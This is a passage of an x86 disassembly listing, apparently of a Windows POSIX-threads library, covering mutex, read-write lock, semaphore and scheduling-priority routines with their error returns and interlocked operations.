dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx call near ptr 27406F6h nop test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 274069Ch cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h call near ptr 27809BDh nop test eax, eax jnz short loc_432BE5 call near ptr 27B07FFh nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 274069Ch cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 27809BDh test eax, eax jnz short loc_432C75 call near ptr 27B07FFh nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 call near ptr 2830000h nop xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2740000h test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 28308B0h nop test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax nop call near ptr 27703BFh cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2730DD6h test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2730DD6h test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax call near ptr 27703BFh nop cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2730DD6h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E960 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E960 mov ebx, 10h nop call near ptr 7C9010EDh loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; 